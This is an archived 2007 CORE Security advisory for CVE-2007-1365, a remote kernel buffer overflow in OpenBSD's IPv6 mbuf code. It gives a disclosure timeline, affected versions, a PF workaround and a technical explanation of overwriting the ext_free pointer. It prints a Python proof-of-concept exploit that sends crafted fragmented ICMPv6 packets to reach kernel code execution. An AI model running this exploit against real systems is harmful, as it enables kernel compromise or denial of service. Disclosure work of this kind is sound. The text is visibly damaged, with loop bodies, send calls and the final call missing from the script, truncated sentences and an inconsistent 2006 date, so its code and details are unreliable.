[VulnWatch] CORE-2007-0219: OpenBSD's IPv6 mbufs remote kernel buffer overflow

From: CORE Security Technologies Advisories (advisories@private)
Date: Tue Mar 13 2007 - 14:40:15 PST

Hash: SHA1

             Core Security Technologies - CoreLabs Advisory

           OpenBSD's IPv6 mbufs remote kernel buffer overflow

Date Published: 2007-03-13

Last Update: 2007-03-13

Advisory ID: CORE-2007-0219

Bugtraq ID: None currently assigned

CVE Name: CVE-2007-1365

Title: OpenBSD's IPv6 mbufs remote kernel buffer overflow

Class: Buffer Overflow

Remotely Exploitable: Yes

Locally Exploitable: No

Advisory URL:

Vendors contacted:

. 2007-02-20: First notification sent by Core.
. 2007-02-20: Acknowledgement of first notification received from the
  OpenBSD team.
. 2007-02-21: Core sends draft advisory and proof of concept code that
  demonstrates remote kernel panic.
. 2007-02-26: OpenBSD team develops a fix and commits it to the HEAD
  branch of source tree.
. 2007-02-26: OpenBSD team communicates that the issue is specific to
  OpenBSD. OpenBSD no longer uses the term "vulnerability" when
  referring to bugs that lead to a remote denial of service attack,
  as opposed to bugs that lead to remote control of vulnerable systems
  to avoid oversimplifying ("pablumfication") the use of the term.
. 2007-02-26: Core email sent to OpenBSD team explaining that Core
  considers a remote denial of service a security issue and therefore
  does use the term "vulnerability" to refer to it and that although
  remote code execution could not be proved in this specific case,
  the possibility should not be discarded. Core requests details about
  the bug and if possible an analysis of why the OpenBSD team may or
  may not consider the bug exploitable for remote code execution.
. 2007-02-28: OpenBSD team indicates that the bug results in corruption
  of mbuf chains and that only IPv6 code uses that mbuf code, there is
  no user data in the mbuf header fields that become corrupted and it
  would be surprising to be able to run arbitrary code using a bug so
  deep in the mbuf code. The bug simply leads to corruption of the mbuf
. 2007-03-05: Core develops proof of concept code that demonstrates
  remote code execution in the kernel context by exploiting the mbuf
. 2007-03-05: OpenBSD team notified of PoC availability.
. 2007-03-07: OpenBSD team commits fix to OpenBSD 4.0 and 3.9 source
  tree branches and releases a "reliability fix" notice on the project's
. 2007-03-08: Core sends final draft advisory to OpenBSD requesting
  comments and official vendor fix/patch information.
. 2007-03-09: OpenBSD team changes notice on the project's website to
  "security fix" and indicates that Core's advisory should reflect the
  requirement of IPv6 connectivity for a successful attack from outside
  of the local network.
. 2007-03-12: Advisory updates with fix and workaround information and
  with IPv6 connectivity comments from OpenBSD team. The "vendors
  contacted" section of the advisory is adjusted to reflect more
  accurately the nature of the communications with the OpenBSD team
  regarding this issue.
. 2007-03-12: Workaround recommendations revisited. It is not yet
  conclusive that the "scrub in inet6" directive will prevent
  exploitation. It effectively stops the bug from triggering according
  to Core's tests but OpenBSD's source code inspection does not provide
  a clear understanding of why that happens. It could just be that the
  attack traffic is malformed in some other way that is not meaningful
  for exploiting the vulnerability (an error in the exploit code rather
  than an effective workaround?). The "scrub" workaround recommendation
  is removed from the advisory as precaution.
. 2007-03-13: Core releases this advisory.


*Vulnerability Description*

 The OpenBSD kernel contains a memory corruption vulnerability in the
 code that handles IPv6 packets. Exploitation of this vulnerability can
 result in:

 1) Remote execution of arbitrary code at the kernel level on the
 vulnerable systems (complete system compromise), or;

 2) Remote denial of service attacks against vulnerable systems (system
 crash due to a kernel panic)

 The issue can be triggered by sending a specially crafted IPv6
 fragmented packet.

 OpenBSD systems using default installations are vulnerable because the
 default pre-compiled kernel binary (GENERIC) has IPv6 enabled and
 OpenBSD's firewall does not filter inbound IPv6 packets in its default

 However, in order to exploit a vulnerable system an attacker needs to
 be able to inject fragmented IPv6 packets on the target system's local
 network. This requires direct physical/logical access to the target's
 local network -in which case the attacking system does not need to have
 a working IPv6 stack- or the ability to route or tunnel IPv6 packets to
 the target from a remote network.

*Vulnerable Packages*

 OpenBSD 4.1 prior to Feb. 26th, 2006.
 OpenBSD 4.0 Current
 OpenBSD 4.0 Stable
 OpenBSD 3.9
 OpenBSD 3.8
 OpenBSD 3.6
 OpenBSD 3.1

 All other releases that implement the IPv6 protocol stack may be

*Solution/Vendor Information/Workaround*

 The OpenBSD team has released a "security fix" to correct the mbuf
 problem, it is available as a source code patch for OpenBSD 4.0
 and 3.9 here:


 The patch can also be applied to previous versions of OpenBSD.

 OpenBSD-current, 4.1, 4.0 and 3.9 have the fix incorporated in their
 source code tree and kernel binaries for those versions and the
 upcoming version 4.1 include the fix.

 As a work around, users that do not need to process or route IPv6
 traffic on their systems can block all inbound IPv6 packets using
 OpenBSD's firewall. This can be accomplished by adding the following
 line to /etc/pf.conf:

   block in quick inet6 all

 After adding the desired rules to pf.conf it is necessary to load them
 to the running PF using:

   pfctl -f /etc/pf.conf

 To enable PF use:
   pfctl -e -f /etc/pf.conf

 To check the status of PF and list all loaded rules use:
   pfctl -s rules

 Refer to the pf.conf(5) and pfctl(8) manpages for proper configuration
 and use of OpenBSD's firewall capabilities.


 This vulnerability was found and researched by Alfredo Ortega from
 Core Security Technologies. The proof-of-concept code included in the
 advisory was developed by Alfredo Ortega with assistance from
 Mario Vilas and Gerardo Richarte.

*Technical Description - Exploit/Concept Code*

 The vulnerability is due to improper handling of kernel memory buffers
 using mbuf structures. The vulnerability is triggered by
 OpenBSD-specific code at the mbuf layer and developed to accommodate
 the processing of IPv6 protocol packets.

 By sending fragmented ICMPv6 packets an attacker can trigger an
 overflow of mbuf kernel memory structures resulting either in remote
 execution of arbitrary code in kernel mode or a kernel panic and
 subsequent system crash (a remote denial of service). Exploitation is
 accomplished by either:
 1) Gaining control of execution flow by overwriting a function pointer,
 2) Performing a mirrored 4 byte arbitrary memory overwrite similar to
 a user-space heap overflow.

 The overflowed structure is an mbuf, the structure used to store
 network packets in kernel memory.

 This is the definition (/sys/mbuf.h):

- ---------------------
struct mbuf {
         struct  m_hdr m_hdr;
         union {
                 struct {
                         struct  pkthdr MH_pkthdr;       /* M_PKTHDR set */
                         union {
                                 struct  m_ext MH_ext;   /* M_EXT set */
                                 char    MH_databuf[MHLEN];
                         } MH_dat;
                 } MH;
                 char    M_databuf[MLEN];                /* !M_PKTHDR, !M_EXT */
         } M_dat;
- ---------------------

 We can see that the mbuf contains another structure of type m_ext

- ---------------------
/* description of external storage mapped into mbuf, valid if M_EXT set */
 struct m_ext {
         caddr_t ext_buf;                /* start of buffer */
                                         /* free routine if not the usual */
         void    (*ext_free)(caddr_t, u_int, void *);
         void    *ext_arg;               /* argument for ext_free */
         u_int   ext_size;               /* size of buffer, for ext_free */
         int     ext_type;
         struct mbuf *ext_nextref;
         struct mbuf *ext_prevref;
#ifdef DEBUG
         const char *ext_ofile;
         const char *ext_nfile;
         int ext_oline;
        int ext_nline;
- ---------------------

 This second structure contains the variable ext_free, a pointer to a
 function called when the mbuf is freed. Overwriting a mbuf with a
 crafted ICMP v6 packet (or any type of IPv6 packet), an attacker can
 control the flow of execution of the OpenBSD Kernel when the m_freem()
 function is called on the overflowed packet from any place on the
 network stack.

 Also, since the mbufs are stored on a linked list, another variant of
 the attack is to overwrite the ext_nextref and ext_prevref pointers to
 cause a 32 bit write on a controlled area of the kernel memory, like a
 user-mode heap overflow exploit.

 The following is a simple working proof-of-concept program in Python
 that demonstrates remote code execution on vulnerable systems.
 It is necessary to set the target's system Ethernet address in the
 program to use it.

 The PoC executes the shellcode (int 3) and returns. It overwrites the
 ext_free() function pointer on the mbuf and forces a m_freem() on the
 overflowed packet.

 The Impacket library is used to craft and send packets
 (http://oss.coresecurity.com/projects/impacket.html or download from
 Debian repositories)

 Currently, only systems supporting raw sockets and the PF_PACKET family
 can run the included proof-of-concept code.

 Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC)
 Mon Oct 30"

 To use the code to test a custom machine you will need to:
 1) Adjust the MACADDRESS variable
 2) Find the right trampoline value for your system and replace it in
 the code. To find a proper trampoline value use the following command:
   "objdump -d /bsd | grep esi | grep jmp"
 3) Adjust the ICMP checksum

 The exploit should stop on an int 3 and pressing "c" in ddb the kernel
 will continue normally.

- --------------------icmp.py---------------------
# Description:
#   OpenBSD ICMPv6 fragment remote execution PoC
# Author:
#   Alfredo Ortega
#   Mario Vilas
# Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc.
# All rights reserved

from impacket import ImpactPacket
import struct
import socket
import time

class BSD_ICMPv6_Remote_BO:
    MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f)
    def Run(self):
        self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
        sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f'  # source address
        destIP   = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'  # destination address Multicast Link-level
        firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP)
	validIcmp = self.buildValidICMPPacket(sourceIP,destIP)
	for i in range(100): # fill mbufs
	for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable

    def sendpacket(self, data):
        ipe = ImpactPacket.Ethernet()
        ipd = ImpactPacket.Data(data)
        ipd.ethertype = 0x86dd  # Ethertype for IPv6
        p = ipe.get_packet()

    def buildOpenBSDPackets(self,sourceIP,destIP):
        HopByHopLenght= 1

        IPv6FragmentationHeader = ''
        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (00: Hop by Hop)
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
        IPv6FragmentationHeader += struct.pack('!B', 0x01)  # offset + More fragments: yes
        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

        IPv6HopByHopHeader  = ''
        IPv6HopByHopHeader += struct.pack('!B', 0x2c)                    # next header (0x3A: ICMP)
        IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght )         # Hdr Ext Len (frutaaaaaaa :D )
        IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2)         # Options

        longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader)
	print longitud
        IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x00'                            # next header (2c: Fragmentation)
        IPv6Packet += '\x40'                            # hop limit

        IPv6Packet += sourceIP
        IPv6Packet += destIP

        firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150)

	self.ShellCode =  ''
        self.ShellCode += '\xcc' # int 3
	self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret

        ICMPv6Packet  = ''
        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
        ICMPv6Packet += '\x00'  # code
        ICMPv6Packet += '\xfb\x4e'  # checksum
        ICMPv6Packet += '\x33\xf6'  # ID
        ICMPv6Packet += '\x00\x00'  # sequence
        ICMPv6Packet +=  ('\x90'*(212-len(self.ShellCode)))+self.ShellCode
	# Start of the next mfub (we land here):
	ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards
        ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB'
	# mbuf+0x20:
	trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp")
        ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG'
        longitud = len(ICMPv6Packet)

	IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x2c'                            # next header (2c: Fragmentation)
        IPv6Packet += '\x40'                            # hop limit
        IPv6Packet += sourceIP
        IPv6Packet += destIP

        IPv6FragmentationHeader = ''
        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (3A: icmpV6)
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset + More fragments:no
        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

        secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet

        return firstFragment, secondFragment

    def buildValidICMPPacket(self,sourceIP,destIP):

        ICMPv6Packet  = ''
        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
        ICMPv6Packet += '\x00'  # code
        ICMPv6Packet += '\xcb\xc4'  # checksum
        ICMPv6Packet += '\x33\xf6'  # ID
        ICMPv6Packet += '\x00\x00'  # sequence
	ICMPv6Packet += 'T'*1232

        longitud = len(ICMPv6Packet)

        IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x3A'                            # next header (2c: Fragmentation)
        IPv6Packet += '\x40'                            # hop limit
        IPv6Packet += sourceIP
        IPv6Packet += destIP

        icmpPacket = IPv6Packet+ICMPv6Packet

        return  icmpPacket

attack = BSD_ICMPv6_Remote_BO()
- --------------------icmp.py---------------------

*About CoreLabs*

 CoreLabs, the research center of Core Security Technologies, is charged
 with anticipating the future needs and requirements for information
 security technologies.

 We conduct our research in several important areas of computer security
 including system vulnerabilities, cyber attack planning and simulation,
 source code auditing, and cryptography. Our results include problem
 formalization, identification of vulnerabilities, novel solutions and
 prototypes for new technologies.

 CoreLabs regularly publishes security advisories, technical papers,
 project information and shared software tools for public use at:

*About Core Security Technologies*

 Core Security Technologies develops strategic solutions that help
 security-conscious organizations worldwide. The company?s flagship
 product, CORE IMPACT, is the first automated penetration testing
 product for assessing specific information security threats to an
 organization. Penetration testing evaluates overall network security
 and identifies what resources are exposed. It enables organizations to
 determine if current security investments are detecting and preventing

 Core augments its leading technology solution with world-class security
 consulting services, including penetration testing, software security
 auditing and related training.

 Based in Boston, MA. and Buenos Aires, Argentina, Core Security
 Technologies can be reached at 617-399-6980 or on the Web at


 The contents of this advisory are copyright (c) 2007 CORE Security
 Technologies and (c) 2007 CoreLabs, and may be distributed freely
 provided that no fee is charged for this distribution and proper
 credit is given.

*PGP Key*

 This advisory has been signed with the PGP key of Core Security
 Technologies advisories team, which is available for download at

$Id: OpenBSD-advisory.txt 350 2007-03-13 20:13:27Z iarce $

Version: GnuPG v1.4.7 (MingW32)


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